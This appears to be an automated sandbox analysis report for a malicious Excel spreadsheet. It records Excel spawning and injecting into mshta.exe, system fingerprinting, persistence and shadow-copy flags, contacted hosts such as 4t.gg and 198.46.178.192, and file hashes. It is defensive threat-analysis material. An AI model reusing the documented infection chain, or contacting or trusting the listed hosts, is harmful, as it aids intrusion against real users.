"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ee6666aa9e5387583b1acb4e3684dfcb10c67d2fa6738b7ba07864b79976f2ed.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\mshta.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3104 wrote to memory of 4648 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe
PID 3104 wrote to memory of 4648 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ee6666aa9e5387583b1acb4e3684dfcb10c67d2fa6738b7ba07864b79976f2ed.xls"

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 4t.gg udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
KR 221.146.204.133:443 4t.gg tcp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 r10.o.lencr.org udp
GB 2.23.210.75:80 r10.o.lencr.org tcp
US 8.8.8.8:53 133.204.146.221.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 75.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 32.169.19.2.in-addr.arpa udp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 198.46.178.192:80 198.46.178.192 tcp
US 8.8.8.8:53 192.178.46.198.in-addr.arpa udp
US 8.8.8.8:53 210.143.182.52.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp

Files

memory/3104-1-0x00007FF9FDE2D000-0x00007FF9FDE2E000-memory.dmp

memory/3104-0-0x00007FF9BDE10000-0x00007FF9BDE20000-memory.dmp

memory/3104-3-0x00007FF9BDE10000-0x00007FF9BDE20000-memory.dmp

memory/3104-4-0x00007FF9BDE10000-0x00007FF9BDE20000-memory.dmp

memory/3104-9-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-10-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-12-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-11-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-8-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-13-0x00007FF9BBCA0000-0x00007FF9BBCB0000-memory.dmp

memory/3104-7-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-14-0x00007FF9BBCA0000-0x00007FF9BBCB0000-memory.dmp

memory/3104-6-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-15-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-17-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-16-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-5-0x00007FF9BDE10000-0x00007FF9BDE20000-memory.dmp

memory/3104-2-0x00007FF9BDE10000-0x00007FF9BDE20000-memory.dmp

memory/4648-37-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/4648-40-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-42-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-43-0x00007FF9FDE2D000-0x00007FF9FDE2E000-memory.dmp

memory/3104-44-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/3104-45-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/4648-49-0x00007FF9FDD90000-0x00007FF9FDF85000-memory.dmp

memory/4648-50-0x00007FF76DB60000-0x00007FF76DB68000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 26f9947b14a9bc167696519d09ca3a84
SHA1 4df5ae0ddfadc16941ebb20c000f2dad5c14b9bf
SHA256 499f0c0832a799e43f034aeda3f9c089b695770ceeaaf1cc490fe99d8472810b
SHA512 61c950b3ac3b72ab2a6c8c256affe87aeee2d87f6edf065f2f138901f73caf3cb453b7b46972e7d5e16cfabf00894c5f1694996e08d937c8fa0992dedc26a335